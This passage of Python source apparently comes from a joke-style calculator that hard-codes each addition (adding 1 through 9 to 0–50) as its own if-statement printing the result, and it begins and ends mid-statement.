firstNum == 48 and sign == "+" and secondNum == 1 : print("48 + 1 = 49") if firstNum == 49 and sign == "+" and secondNum == 1 : print("49 + 1 = 50") if firstNum == 50 and sign == "+" and secondNum == 1 : print("50 + 1 = 51") if firstNum == 0 and sign == "+" and secondNum == 2 : print("0 + 2 = 2") if firstNum == 1 and sign == "+" and secondNum == 2 : print("1 + 2 = 3") if firstNum == 2 and sign == "+" and secondNum == 2 : print("2 + 2 = 4") if firstNum == 3 and sign == "+" and secondNum == 2 : print("3 + 2 = 5") if firstNum == 4 and sign == "+" and secondNum == 2 : print("4 + 2 = 6") if firstNum == 5 and sign == "+" and secondNum == 2 : print("5 + 2 = 7") if firstNum == 6 and sign == "+" and secondNum == 2 : print("6 + 2 = 8") if firstNum == 7 and sign == "+" and secondNum == 2 : print("7 + 2 = 9") if firstNum == 8 and sign == "+" and secondNum == 2 : print("8 + 2 = 10") if firstNum == 9 and sign == "+" and secondNum == 2 : print("9 + 2 = 11") if firstNum == 10 and sign == "+" and secondNum == 2 : print("10 + 2 = 12") if firstNum == 11 and sign == "+" and secondNum == 2 : print("11 + 2 = 13") if firstNum == 12 and sign == "+" and secondNum == 2 : print("12 + 2 = 14") if firstNum == 13 and sign == "+" and secondNum == 2 : print("13 + 2 = 15") if firstNum == 14 and sign == "+" and secondNum == 2 : print("14 + 2 = 16") if firstNum == 15 and sign == "+" and secondNum == 2 : print("15 + 2 = 17") if firstNum == 16 and sign == "+" and secondNum == 2 : print("16 + 2 = 18") if firstNum == 17 and sign == "+" and secondNum == 2 : print("17 + 2 = 19") if firstNum == 18 and sign == "+" and secondNum == 2 : print("18 + 2 = 20") if firstNum == 19 and sign == "+" and secondNum == 2 : print("19 + 2 = 21") if firstNum == 20 and sign == "+" and secondNum == 2 : print("20 + 2 = 22") if firstNum == 21 and sign == "+" and secondNum == 2 : print("21 + 2 = 23") if firstNum == 22 and sign == "+" and secondNum == 2 : print("22 + 2 = 24") if firstNum == 23 and sign == "+" and secondNum == 2 : print("23 + 2 = 25") if firstNum == 24 and sign == "+" and secondNum == 2 : print("24 + 2 = 26") if firstNum == 25 and sign == "+" and secondNum == 2 : print("25 + 2 = 27") if firstNum == 26 and sign == "+" and secondNum == 2 : print("26 + 2 = 28") if firstNum == 27 and sign == "+" and secondNum == 2 : print("27 + 2 = 29") if firstNum == 28 and sign == "+" and secondNum == 2 : print("28 + 2 = 30") if firstNum == 29 and sign == "+" and secondNum == 2 : print("29 + 2 = 31") if firstNum == 30 and sign == "+" and secondNum == 2 : print("30 + 2 = 32") if firstNum == 31 and sign == "+" and secondNum == 2 : print("31 + 2 = 33") if firstNum == 32 and sign == "+" and secondNum == 2 : print("32 + 2 = 34") if firstNum == 33 and sign == "+" and secondNum == 2 : print("33 + 2 = 35") if firstNum == 34 and sign == "+" and secondNum == 2 : print("34 + 2 = 36") if firstNum == 35 and sign == "+" and secondNum == 2 : print("35 + 2 = 37") if firstNum == 36 and sign == "+" and secondNum == 2 : print("36 + 2 = 38") if firstNum == 37 and sign == "+" and secondNum == 2 : print("37 + 2 = 39") if firstNum == 38 and sign == "+" and secondNum == 2 : print("38 + 2 = 40") if firstNum == 39 and sign == "+" and secondNum == 2 : print("39 + 2 = 41") if firstNum == 40 and sign == "+" and secondNum == 2 : print("40 + 2 = 42") if firstNum == 41 and sign == "+" and secondNum == 2 : print("41 + 2 = 43") if firstNum == 42 and sign == "+" and secondNum == 2 : print("42 + 2 = 44") if firstNum == 43 and sign == "+" and secondNum == 2 : print("43 + 2 = 45") if firstNum == 44 and sign == "+" and secondNum == 2 : print("44 + 2 = 46") if firstNum == 45 and sign == "+" and secondNum == 2 : print("45 + 2 = 47") if firstNum == 46 and sign == "+" and secondNum == 2 : print("46 + 2 = 48") if firstNum == 47 and sign == "+" and secondNum == 2 : print("47 + 2 = 49") if firstNum == 48 and sign == "+" and secondNum == 2 : print("48 + 2 = 50") if firstNum == 49 and sign == "+" and secondNum == 2 : print("49 + 2 = 51") if firstNum == 50 and sign == "+" and secondNum == 2 : print("50 + 2 = 52") if firstNum == 0 and sign == "+" and secondNum == 3 : print("0 + 3 = 3") if firstNum == 1 and sign == "+" and secondNum == 3 : print("1 + 3 = 4") if firstNum == 2 and sign == "+" and secondNum == 3 : print("2 + 3 = 5") if firstNum == 3 and sign == "+" and secondNum == 3 : print("3 + 3 = 6") if firstNum == 4 and sign == "+" and secondNum == 3 : print("4 + 3 = 7") if firstNum == 5 and sign == "+" and secondNum == 3 : print("5 + 3 = 8") if firstNum == 6 and sign == "+" and secondNum == 3 : print("6 + 3 = 9") if firstNum == 7 and sign == "+" and secondNum == 3 : print("7 + 3 = 10") if firstNum == 8 and sign == "+" and secondNum == 3 : print("8 + 3 = 11") if firstNum == 9 and sign == "+" and secondNum == 3 : print("9 + 3 = 12") if firstNum == 10 and sign == "+" and secondNum == 3 : print("10 + 3 = 13") if firstNum == 11 and sign == "+" and secondNum == 3 : print("11 + 3 = 14") if firstNum == 12 and sign == "+" and secondNum == 3 : print("12 + 3 = 15") if firstNum == 13 and sign == "+" and secondNum == 3 : print("13 + 3 = 16") if firstNum == 14 and sign == "+" and secondNum == 3 : print("14 + 3 = 17") if firstNum == 15 and sign == "+" and secondNum == 3 : print("15 + 3 = 18") if firstNum == 16 and sign == "+" and secondNum == 3 : print("16 + 3 = 19") if firstNum == 17 and sign == "+" and secondNum == 3 : print("17 + 3 = 20") if firstNum == 18 and sign == "+" and secondNum == 3 : print("18 + 3 = 21") if firstNum == 19 and sign == "+" and secondNum == 3 : print("19 + 3 = 22") if firstNum == 20 and sign == "+" and secondNum == 3 : print("20 + 3 = 23") if firstNum == 21 and sign == "+" and secondNum == 3 : print("21 + 3 = 24") if firstNum == 22 and sign == "+" and secondNum == 3 : print("22 + 3 = 25") if firstNum == 23 and sign == "+" and secondNum == 3 : print("23 + 3 = 26") if firstNum == 24 and sign == "+" and secondNum == 3 : print("24 + 3 = 27") if firstNum == 25 and sign == "+" and secondNum == 3 : print("25 + 3 = 28") if firstNum == 26 and sign == "+" and secondNum == 3 : print("26 + 3 = 29") if firstNum == 27 and sign == "+" and secondNum == 3 : print("27 + 3 = 30") if firstNum == 28 and sign == "+" and secondNum == 3 : print("28 + 3 = 31") if firstNum == 29 and sign == "+" and secondNum == 3 : print("29 + 3 = 32") if firstNum == 30 and sign == "+" and secondNum == 3 : print("30 + 3 = 33") if firstNum == 31 and sign == "+" and secondNum == 3 : print("31 + 3 = 34") if firstNum == 32 and sign == "+" and secondNum == 3 : print("32 + 3 = 35") if firstNum == 33 and sign == "+" and secondNum == 3 : print("33 + 3 = 36") if firstNum == 34 and sign == "+" and secondNum == 3 : print("34 + 3 = 37") if firstNum == 35 and sign == "+" and secondNum == 3 : print("35 + 3 = 38") if firstNum == 36 and sign == "+" and secondNum == 3 : print("36 + 3 = 39") if firstNum == 37 and sign == "+" and secondNum == 3 : print("37 + 3 = 40") if firstNum == 38 and sign == "+" and secondNum == 3 : print("38 + 3 = 41") if firstNum == 39 and sign == "+" and secondNum == 3 : print("39 + 3 = 42") if firstNum == 40 and sign == "+" and secondNum == 3 : print("40 + 3 = 43") if firstNum == 41 and sign == "+" and secondNum == 3 : print("41 + 3 = 44") if firstNum == 42 and sign == "+" and secondNum == 3 : print("42 + 3 = 45") if firstNum == 43 and sign == "+" and secondNum == 3 : print("43 + 3 = 46") if firstNum == 44 and sign == "+" and secondNum == 3 : print("44 + 3 = 47") if firstNum == 45 and sign == "+" and secondNum == 3 : print("45 + 3 = 48") if firstNum == 46 and sign == "+" and secondNum == 3 : print("46 + 3 = 49") if firstNum == 47 and sign == "+" and secondNum == 3 : print("47 + 3 = 50") if firstNum == 48 and sign == "+" and secondNum == 3 : print("48 + 3 = 51") if firstNum == 49 and sign == "+" and secondNum == 3 : print("49 + 3 = 52") if firstNum == 50 and sign == "+" and secondNum == 3 : print("50 + 3 = 53") if firstNum == 0 and sign == "+" and secondNum == 4 : print("0 + 4 = 4") if firstNum == 1 and sign == "+" and secondNum == 4 : print("1 + 4 = 5") if firstNum == 2 and sign == "+" and secondNum == 4 : print("2 + 4 = 6") if firstNum == 3 and sign == "+" and secondNum == 4 : print("3 + 4 = 7") if firstNum == 4 and sign == "+" and secondNum == 4 : print("4 + 4 = 8") if firstNum == 5 and sign == "+" and secondNum == 4 : print("5 + 4 = 9") if firstNum == 6 and sign == "+" and secondNum == 4 : print("6 + 4 = 10") if firstNum == 7 and sign == "+" and secondNum == 4 : print("7 + 4 = 11") if firstNum == 8 and sign == "+" and secondNum == 4 : print("8 + 4 = 12") if firstNum == 9 and sign == "+" and secondNum == 4 : print("9 + 4 = 13") if firstNum == 10 and sign == "+" and secondNum == 4 : print("10 + 4 = 14") if firstNum == 11 and sign == "+" and secondNum == 4 : print("11 + 4 = 15") if firstNum == 12 and sign == "+" and secondNum == 4 : print("12 + 4 = 16") if firstNum == 13 and sign == "+" and secondNum == 4 : print("13 + 4 = 17") if firstNum == 14 and sign == "+" and secondNum == 4 : print("14 + 4 = 18") if firstNum == 15 and sign == "+" and secondNum == 4 : print("15 + 4 = 19") if firstNum == 16 and sign == "+" and secondNum == 4 : print("16 + 4 = 20") if firstNum == 17 and sign == "+" and secondNum == 4 : print("17 + 4 = 21") if firstNum == 18 and sign == "+" and secondNum == 4 : print("18 + 4 = 22") if firstNum == 19 and sign == "+" and secondNum == 4 : print("19 + 4 = 23") if firstNum == 20 and sign == "+" and secondNum == 4 : print("20 + 4 = 24") if firstNum == 21 and sign == "+" and secondNum == 4 : print("21 + 4 = 25") if firstNum == 22 and sign == "+" and secondNum == 4 : print("22 + 4 = 26") if firstNum == 23 and sign == "+" and secondNum == 4 : print("23 + 4 = 27") if firstNum == 24 and sign == "+" and secondNum == 4 : print("24 + 4 = 28") if firstNum == 25 and sign == "+" and secondNum == 4 : print("25 + 4 = 29") if firstNum == 26 and sign == "+" and secondNum == 4 : print("26 + 4 = 30") if firstNum == 27 and sign == "+" and secondNum == 4 : print("27 + 4 = 31") if firstNum == 28 and sign == "+" and secondNum == 4 : print("28 + 4 = 32") if firstNum == 29 and sign == "+" and secondNum == 4 : print("29 + 4 = 33") if firstNum == 30 and sign == "+" and secondNum == 4 : print("30 + 4 = 34") if firstNum == 31 and sign == "+" and secondNum == 4 : print("31 + 4 = 35") if firstNum == 32 and sign == "+" and secondNum == 4 : print("32 + 4 = 36") if firstNum == 33 and sign == "+" and secondNum == 4 : print("33 + 4 = 37") if firstNum == 34 and sign == "+" and secondNum == 4 : print("34 + 4 = 38") if firstNum == 35 and sign == "+" and secondNum == 4 : print("35 + 4 = 39") if firstNum == 36 and sign == "+" and secondNum == 4 : print("36 + 4 = 40") if firstNum == 37 and sign == "+" and secondNum == 4 : print("37 + 4 = 41") if firstNum == 38 and sign == "+" and secondNum == 4 : print("38 + 4 = 42") if firstNum == 39 and sign == "+" and secondNum == 4 : print("39 + 4 = 43") if firstNum == 40 and sign == "+" and secondNum == 4 : print("40 + 4 = 44") if firstNum == 41 and sign == "+" and secondNum == 4 : print("41 + 4 = 45") if firstNum == 42 and sign == "+" and secondNum == 4 : print("42 + 4 = 46") if firstNum == 43 and sign == "+" and secondNum == 4 : print("43 + 4 = 47") if firstNum == 44 and sign == "+" and secondNum == 4 : print("44 + 4 = 48") if firstNum == 45 and sign == "+" and secondNum == 4 : print("45 + 4 = 49") if firstNum == 46 and sign == "+" and secondNum == 4 : print("46 + 4 = 50") if firstNum == 47 and sign == "+" and secondNum == 4 : print("47 + 4 = 51") if firstNum == 48 and sign == "+" and secondNum == 4 : print("48 + 4 = 52") if firstNum == 49 and sign == "+" and secondNum == 4 : print("49 + 4 = 53") if firstNum == 50 and sign == "+" and secondNum == 4 : print("50 + 4 = 54") if firstNum == 0 and sign == "+" and secondNum == 5 : print("0 + 5 = 5") if firstNum == 1 and sign == "+" and secondNum == 5 : print("1 + 5 = 6") if firstNum == 2 and sign == "+" and secondNum == 5 : print("2 + 5 = 7") if firstNum == 3 and sign == "+" and secondNum == 5 : print("3 + 5 = 8") if firstNum == 4 and sign == "+" and secondNum == 5 : print("4 + 5 = 9") if firstNum == 5 and sign == "+" and secondNum == 5 : print("5 + 5 = 10") if firstNum == 6 and sign == "+" and secondNum == 5 : print("6 + 5 = 11") if firstNum == 7 and sign == "+" and secondNum == 5 : print("7 + 5 = 12") if firstNum == 8 and sign == "+" and secondNum == 5 : print("8 + 5 = 13") if firstNum == 9 and sign == "+" and secondNum == 5 : print("9 + 5 = 14") if firstNum == 10 and sign == "+" and secondNum == 5 : print("10 + 5 = 15") if firstNum == 11 and sign == "+" and secondNum == 5 : print("11 + 5 = 16") if firstNum == 12 and sign == "+" and secondNum == 5 : print("12 + 5 = 17") if firstNum == 13 and sign == "+" and secondNum == 5 : print("13 + 5 = 18") if firstNum == 14 and sign == "+" and secondNum == 5 : print("14 + 5 = 19") if firstNum == 15 and sign == "+" and secondNum == 5 : print("15 + 5 = 20") if firstNum == 16 and sign == "+" and secondNum == 5 : print("16 + 5 = 21") if firstNum == 17 and sign == "+" and secondNum == 5 : print("17 + 5 = 22") if firstNum == 18 and sign == "+" and secondNum == 5 : print("18 + 5 = 23") if firstNum == 19 and sign == "+" and secondNum == 5 : print("19 + 5 = 24") if firstNum == 20 and sign == "+" and secondNum == 5 : print("20 + 5 = 25") if firstNum == 21 and sign == "+" and secondNum == 5 : print("21 + 5 = 26") if firstNum == 22 and sign == "+" and secondNum == 5 : print("22 + 5 = 27") if firstNum == 23 and sign == "+" and secondNum == 5 : print("23 + 5 = 28") if firstNum == 24 and sign == "+" and secondNum == 5 : print("24 + 5 = 29") if firstNum == 25 and sign == "+" and secondNum == 5 : print("25 + 5 = 30") if firstNum == 26 and sign == "+" and secondNum == 5 : print("26 + 5 = 31") if firstNum == 27 and sign == "+" and secondNum == 5 : print("27 + 5 = 32") if firstNum == 28 and sign == "+" and secondNum == 5 : print("28 + 5 = 33") if firstNum == 29 and sign == "+" and secondNum == 5 : print("29 + 5 = 34") if firstNum == 30 and sign == "+" and secondNum == 5 : print("30 + 5 = 35") if firstNum == 31 and sign == "+" and secondNum == 5 : print("31 + 5 = 36") if firstNum == 32 and sign == "+" and secondNum == 5 : print("32 + 5 = 37") if firstNum == 33 and sign == "+" and secondNum == 5 : print("33 + 5 = 38") if firstNum == 34 and sign == "+" and secondNum == 5 : print("34 + 5 = 39") if firstNum == 35 and sign == "+" and secondNum == 5 : print("35 + 5 = 40") if firstNum == 36 and sign == "+" and secondNum == 5 : print("36 + 5 = 41") if firstNum == 37 and sign == "+" and secondNum == 5 : print("37 + 5 = 42") if firstNum == 38 and sign == "+" and secondNum == 5 : print("38 + 5 = 43") if firstNum == 39 and sign == "+" and secondNum == 5 : print("39 + 5 = 44") if firstNum == 40 and sign == "+" and secondNum == 5 : print("40 + 5 = 45") if firstNum == 41 and sign == "+" and secondNum == 5 : print("41 + 5 = 46") if firstNum == 42 and sign == "+" and secondNum == 5 : print("42 + 5 = 47") if firstNum == 43 and sign == "+" and secondNum == 5 : print("43 + 5 = 48") if firstNum == 44 and sign == "+" and secondNum == 5 : print("44 + 5 = 49") if firstNum == 45 and sign == "+" and secondNum == 5 : print("45 + 5 = 50") if firstNum == 46 and sign == "+" and secondNum == 5 : print("46 + 5 = 51") if firstNum == 47 and sign == "+" and secondNum == 5 : print("47 + 5 = 52") if firstNum == 48 and sign == "+" and secondNum == 5 : print("48 + 5 = 53") if firstNum == 49 and sign == "+" and secondNum == 5 : print("49 + 5 = 54") if firstNum == 50 and sign == "+" and secondNum == 5 : print("50 + 5 = 55") if firstNum == 0 and sign == "+" and secondNum == 6 : print("0 + 6 = 6") if firstNum == 1 and sign == "+" and secondNum == 6 : print("1 + 6 = 7") if firstNum == 2 and sign == "+" and secondNum == 6 : print("2 + 6 = 8") if firstNum == 3 and sign == "+" and secondNum == 6 : print("3 + 6 = 9") if firstNum == 4 and sign == "+" and secondNum == 6 : print("4 + 6 = 10") if firstNum == 5 and sign == "+" and secondNum == 6 : print("5 + 6 = 11") if firstNum == 6 and sign == "+" and secondNum == 6 : print("6 + 6 = 12") if firstNum == 7 and sign == "+" and secondNum == 6 : print("7 + 6 = 13") if firstNum == 8 and sign == "+" and secondNum == 6 : print("8 + 6 = 14") if firstNum == 9 and sign == "+" and secondNum == 6 : print("9 + 6 = 15") if firstNum == 10 and sign == "+" and secondNum == 6 : print("10 + 6 = 16") if firstNum == 11 and sign == "+" and secondNum == 6 : print("11 + 6 = 17") if firstNum == 12 and sign == "+" and secondNum == 6 : print("12 + 6 = 18") if firstNum == 13 and sign == "+" and secondNum == 6 : print("13 + 6 = 19") if firstNum == 14 and sign == "+" and secondNum == 6 : print("14 + 6 = 20") if firstNum == 15 and sign == "+" and secondNum == 6 : print("15 + 6 = 21") if firstNum == 16 and sign == "+" and secondNum == 6 : print("16 + 6 = 22") if firstNum == 17 and sign == "+" and secondNum == 6 : print("17 + 6 = 23") if firstNum == 18 and sign == "+" and secondNum == 6 : print("18 + 6 = 24") if firstNum == 19 and sign == "+" and secondNum == 6 : print("19 + 6 = 25") if firstNum == 20 and sign == "+" and secondNum == 6 : print("20 + 6 = 26") if firstNum == 21 and sign == "+" and secondNum == 6 : print("21 + 6 = 27") if firstNum == 22 and sign == "+" and secondNum == 6 : print("22 + 6 = 28") if firstNum == 23 and sign == "+" and secondNum == 6 : print("23 + 6 = 29") if firstNum == 24 and sign == "+" and secondNum == 6 : print("24 + 6 = 30") if firstNum == 25 and sign == "+" and secondNum == 6 : print("25 + 6 = 31") if firstNum == 26 and sign == "+" and secondNum == 6 : print("26 + 6 = 32") if firstNum == 27 and sign == "+" and secondNum == 6 : print("27 + 6 = 33") if firstNum == 28 and sign == "+" and secondNum == 6 : print("28 + 6 = 34") if firstNum == 29 and sign == "+" and secondNum == 6 : print("29 + 6 = 35") if firstNum == 30 and sign == "+" and secondNum == 6 : print("30 + 6 = 36") if firstNum == 31 and sign == "+" and secondNum == 6 : print("31 + 6 = 37") if firstNum == 32 and sign == "+" and secondNum == 6 : print("32 + 6 = 38") if firstNum == 33 and sign == "+" and secondNum == 6 : print("33 + 6 = 39") if firstNum == 34 and sign == "+" and secondNum == 6 : print("34 + 6 = 40") if firstNum == 35 and sign == "+" and secondNum == 6 : print("35 + 6 = 41") if firstNum == 36 and sign == "+" and secondNum == 6 : print("36 + 6 = 42") if firstNum == 37 and sign == "+" and secondNum == 6 : print("37 + 6 = 43") if firstNum == 38 and sign == "+" and secondNum == 6 : print("38 + 6 = 44") if firstNum == 39 and sign == "+" and secondNum == 6 : print("39 + 6 = 45") if firstNum == 40 and sign == "+" and secondNum == 6 : print("40 + 6 = 46") if firstNum == 41 and sign == "+" and secondNum == 6 : print("41 + 6 = 47") if firstNum == 42 and sign == "+" and secondNum == 6 : print("42 + 6 = 48") if firstNum == 43 and sign == "+" and secondNum == 6 : print("43 + 6 = 49") if firstNum == 44 and sign == "+" and secondNum == 6 : print("44 + 6 = 50") if firstNum == 45 and sign == "+" and secondNum == 6 : print("45 + 6 = 51") if firstNum == 46 and sign == "+" and secondNum == 6 : print("46 + 6 = 52") if firstNum == 47 and sign == "+" and secondNum == 6 : print("47 + 6 = 53") if firstNum == 48 and sign == "+" and secondNum == 6 : print("48 + 6 = 54") if firstNum == 49 and sign == "+" and secondNum == 6 : print("49 + 6 = 55") if firstNum == 50 and sign == "+" and secondNum == 6 : print("50 + 6 = 56") if firstNum == 0 and sign == "+" and secondNum == 7 : print("0 + 7 = 7") if firstNum == 1 and sign == "+" and secondNum == 7 : print("1 + 7 = 8") if firstNum == 2 and sign == "+" and secondNum == 7 : print("2 + 7 = 9") if firstNum == 3 and sign == "+" and secondNum == 7 : print("3 + 7 = 10") if firstNum == 4 and sign == "+" and secondNum == 7 : print("4 + 7 = 11") if firstNum == 5 and sign == "+" and secondNum == 7 : print("5 + 7 = 12") if firstNum == 6 and sign == "+" and secondNum == 7 : print("6 + 7 = 13") if firstNum == 7 and sign == "+" and secondNum == 7 : print("7 + 7 = 14") if firstNum == 8 and sign == "+" and secondNum == 7 : print("8 + 7 = 15") if firstNum == 9 and sign == "+" and secondNum == 7 : print("9 + 7 = 16") if firstNum == 10 and sign == "+" and secondNum == 7 : print("10 + 7 = 17") if firstNum == 11 and sign == "+" and secondNum == 7 : print("11 + 7 = 18") if firstNum == 12 and sign == "+" and secondNum == 7 : print("12 + 7 = 19") if firstNum == 13 and sign == "+" and secondNum == 7 : print("13 + 7 = 20") if firstNum == 14 and sign == "+" and secondNum == 7 : print("14 + 7 = 21") if firstNum == 15 and sign == "+" and secondNum == 7 : print("15 + 7 = 22") if firstNum == 16 and sign == "+" and secondNum == 7 : print("16 + 7 = 23") if firstNum == 17 and sign == "+" and secondNum == 7 : print("17 + 7 = 24") if firstNum == 18 and sign == "+" and secondNum == 7 : print("18 + 7 = 25") if firstNum == 19 and sign == "+" and secondNum == 7 : print("19 + 7 = 26") if firstNum == 20 and sign == "+" and secondNum == 7 : print("20 + 7 = 27") if firstNum == 21 and sign == "+" and secondNum == 7 : print("21 + 7 = 28") if firstNum == 22 and sign == "+" and secondNum == 7 : print("22 + 7 = 29") if firstNum == 23 and sign == "+" and secondNum == 7 : print("23 + 7 = 30") if firstNum == 24 and sign == "+" and secondNum == 7 : print("24 + 7 = 31") if firstNum == 25 and sign == "+" and secondNum == 7 : print("25 + 7 = 32") if firstNum == 26 and sign == "+" and secondNum == 7 : print("26 + 7 = 33") if firstNum == 27 and sign == "+" and secondNum == 7 : print("27 + 7 = 34") if firstNum == 28 and sign == "+" and secondNum == 7 : print("28 + 7 = 35") if firstNum == 29 and sign == "+" and secondNum == 7 : print("29 + 7 = 36") if firstNum == 30 and sign == "+" and secondNum == 7 : print("30 + 7 = 37") if firstNum == 31 and sign == "+" and secondNum == 7 : print("31 + 7 = 38") if firstNum == 32 and sign == "+" and secondNum == 7 : print("32 + 7 = 39") if firstNum == 33 and sign == "+" and secondNum == 7 : print("33 + 7 = 40") if firstNum == 34 and sign == "+" and secondNum == 7 : print("34 + 7 = 41") if firstNum == 35 and sign == "+" and secondNum == 7 : print("35 + 7 = 42") if firstNum == 36 and sign == "+" and secondNum == 7 : print("36 + 7 = 43") if firstNum == 37 and sign == "+" and secondNum == 7 : print("37 + 7 = 44") if firstNum == 38 and sign == "+" and secondNum == 7 : print("38 + 7 = 45") if firstNum == 39 and sign == "+" and secondNum == 7 : print("39 + 7 = 46") if firstNum == 40 and sign == "+" and secondNum == 7 : print("40 + 7 = 47") if firstNum == 41 and sign == "+" and secondNum == 7 : print("41 + 7 = 48") if firstNum == 42 and sign == "+" and secondNum == 7 : print("42 + 7 = 49") if firstNum == 43 and sign == "+" and secondNum == 7 : print("43 + 7 = 50") if firstNum == 44 and sign == "+" and secondNum == 7 : print("44 + 7 = 51") if firstNum == 45 and sign == "+" and secondNum == 7 : print("45 + 7 = 52") if firstNum == 46 and sign == "+" and secondNum == 7 : print("46 + 7 = 53") if firstNum == 47 and sign == "+" and secondNum == 7 : print("47 + 7 = 54") if firstNum == 48 and sign == "+" and secondNum == 7 : print("48 + 7 = 55") if firstNum == 49 and sign == "+" and secondNum == 7 : print("49 + 7 = 56") if firstNum == 50 and sign == "+" and secondNum == 7 : print("50 + 7 = 57") if firstNum == 0 and sign == "+" and secondNum == 8 : print("0 + 8 = 8") if firstNum == 1 and sign == "+" and secondNum == 8 : print("1 + 8 = 9") if firstNum == 2 and sign == "+" and secondNum == 8 : print("2 + 8 = 10") if firstNum == 3 and sign == "+" and secondNum == 8 : print("3 + 8 = 11") if firstNum == 4 and sign == "+" and secondNum == 8 : print("4 + 8 = 12") if firstNum == 5 and sign == "+" and secondNum == 8 : print("5 + 8 = 13") if firstNum == 6 and sign == "+" and secondNum == 8 : print("6 + 8 = 14") if firstNum == 7 and sign == "+" and secondNum == 8 : print("7 + 8 = 15") if firstNum == 8 and sign == "+" and secondNum == 8 : print("8 + 8 = 16") if firstNum == 9 and sign == "+" and secondNum == 8 : print("9 + 8 = 17") if firstNum == 10 and sign == "+" and secondNum == 8 : print("10 + 8 = 18") if firstNum == 11 and sign == "+" and secondNum == 8 : print("11 + 8 = 19") if firstNum == 12 and sign == "+" and secondNum == 8 : print("12 + 8 = 20") if firstNum == 13 and sign == "+" and secondNum == 8 : print("13 + 8 = 21") if firstNum == 14 and sign == "+" and secondNum == 8 : print("14 + 8 = 22") if firstNum == 15 and sign == "+" and secondNum == 8 : print("15 + 8 = 23") if firstNum == 16 and sign == "+" and secondNum == 8 : print("16 + 8 = 24") if firstNum == 17 and sign == "+" and secondNum == 8 : print("17 + 8 = 25") if firstNum == 18 and sign == "+" and secondNum == 8 : print("18 + 8 = 26") if firstNum == 19 and sign == "+" and secondNum == 8 : print("19 + 8 = 27") if firstNum == 20 and sign == "+" and secondNum == 8 : print("20 + 8 = 28") if firstNum == 21 and sign == "+" and secondNum == 8 : print("21 + 8 = 29") if firstNum == 22 and sign == "+" and secondNum == 8 : print("22 + 8 = 30") if firstNum == 23 and sign == "+" and secondNum == 8 : print("23 + 8 = 31") if firstNum == 24 and sign == "+" and secondNum == 8 : print("24 + 8 = 32") if firstNum == 25 and sign == "+" and secondNum == 8 : print("25 + 8 = 33") if firstNum == 26 and sign == "+" and secondNum == 8 : print("26 + 8 = 34") if firstNum == 27 and sign == "+" and secondNum == 8 : print("27 + 8 = 35") if firstNum == 28 and sign == "+" and secondNum == 8 : print("28 + 8 = 36") if firstNum == 29 and sign == "+" and secondNum == 8 : print("29 + 8 = 37") if firstNum == 30 and sign == "+" and secondNum == 8 : print("30 + 8 = 38") if firstNum == 31 and sign == "+" and secondNum == 8 : print("31 + 8 = 39") if firstNum == 32 and sign == "+" and secondNum == 8 : print("32 + 8 = 40") if firstNum == 33 and sign == "+" and secondNum == 8 : print("33 + 8 = 41") if firstNum == 34 and sign == "+" and secondNum == 8 : print("34 + 8 = 42") if firstNum == 35 and sign == "+" and secondNum == 8 : print("35 + 8 = 43") if firstNum == 36 and sign == "+" and secondNum == 8 : print("36 + 8 = 44") if firstNum == 37 and sign == "+" and secondNum == 8 : print("37 + 8 = 45") if firstNum == 38 and sign == "+" and secondNum == 8 : print("38 + 8 = 46") if firstNum == 39 and sign == "+" and secondNum == 8 : print("39 + 8 = 47") if firstNum == 40 and sign == "+" and secondNum == 8 : print("40 + 8 = 48") if firstNum == 41 and sign == "+" and secondNum == 8 : print("41 + 8 = 49") if firstNum == 42 and sign == "+" and secondNum == 8 : print("42 + 8 = 50") if firstNum == 43 and sign == "+" and secondNum == 8 : print("43 + 8 = 51") if firstNum == 44 and sign == "+" and secondNum == 8 : print("44 + 8 = 52") if firstNum == 45 and sign == "+" and secondNum == 8 : print("45 + 8 = 53") if firstNum == 46 and sign == "+" and secondNum == 8 : print("46 + 8 = 54") if firstNum == 47 and sign == "+" and secondNum == 8 : print("47 + 8 = 55") if firstNum == 48 and sign == "+" and secondNum == 8 : print("48 + 8 = 56") if firstNum == 49 and sign == "+" and secondNum == 8 : print("49 + 8 = 57") if firstNum == 50 and sign == "+" and secondNum == 8 : print("50 + 8 = 58") if firstNum == 0 and sign == "+" and secondNum == 9 : print("0 + 9 = 9") if firstNum == 1 and sign == "+" and secondNum == 9 : print("1 + 9 = 10") if firstNum == 2 and sign == "+" and secondNum == 9 : print("2 + 9 = 11") if firstNum == 3 and sign == "+" and secondNum == 9 : print("3 + 9 = 12") if firstNum == 4 and sign == "+" and secondNum == 9 : print("4 + 9 = 13") if firstNum == 5 and sign == "+" and secondNum == 9 : print("5 + 9 = 14") if firstNum == 6 and sign == "+" and secondNum == 9 : print("6 + 9 = 15") if firstNum == 7 and sign == "+" and secondNum == 9 : print("7 + 9 = 16") if firstNum == 8 and sign == "+" and secondNum == 9 : print("8 + 9 = 17") if firstNum == 9 and sign == "+" and secondNum == 9 : print("9 + 9 = 18") if firstNum == 10 and sign == "+" and secondNum == 9 : print("10 + 9 = 19") if firstNum == 11 and sign == "+" and secondNum == 9 : print("11 + 9 = 20") if firstNum == 12 and sign == "+" and secondNum == 9 : print("12 + 9 = 21") if firstNum == 13 and sign == "+" and secondNum == 9 : print("13 + 9 = 22") if firstNum == 14 and sign == "+" and secondNum == 9 : print("14 + 9 = 23") if firstNum == 15 and sign == "+" and secondNum == 9 : print("15 + 9 = 24") if firstNum == 16 and sign == "+" and secondNum == 9 : print("16 + 9 = 25") if firstNum == 17 and sign == "+" and secondNum == 9 : print("17 + 9 = 26") if firstNum == 18 and sign == "+" and secondNum == 9 : print("18 + 9 = 27") if firstNum == 19 and sign == "+" and secondNum == 9 : print("19 + 9 = 28") if firstNum == 20 and sign == "+" and secondNum == 9 : print("20 + 9 = 29") if firstNum == 21 and sign == "+" and secondNum == 9 : print("21 + 9 = 30") if firstNum == 22 and sign == "+" and secondNum == 9 : print("22 + 9 = 31") if firstNum == 23 and sign == "+" and secondNum == 9 : print("23 + 9 = 32") if firstNum == 24 and sign == "+" and secondNum == 9 : print("24 + 9 = 33") if firstNum == 25 and sign == "+" and secondNum == 9 : print("25 + 9 = 34") if firstNum == 26 and sign == "+" and secondNum == 9 : print("26 + 9 = 35") if firstNum == 27 and sign == "+" and secondNum == 9 : print("27 + 9 = 36") if firstNum == 28 and sign == "+" and secondNum == 9 : print("28 + 9 = 37") if firstNum == 29 and sign == "+" and secondNum == 9 : print("29 + 9 = 38") if firstNum == 30 and sign == "+" and secondNum == 9 : print("30 + 9 = 39") if firstNum == 31 and sign == "+" and secondNum == 9 : print("31 + 9 = 40") if firstNum == 32 and sign == "+" and secondNum == 9 : print("32 + 9 = 41") if firstNum == 33 and sign == "+" and secondNum == 9 : print("33 + 9 = 42") if firstNum == 34 and sign == "+" and secondNum == 9 : 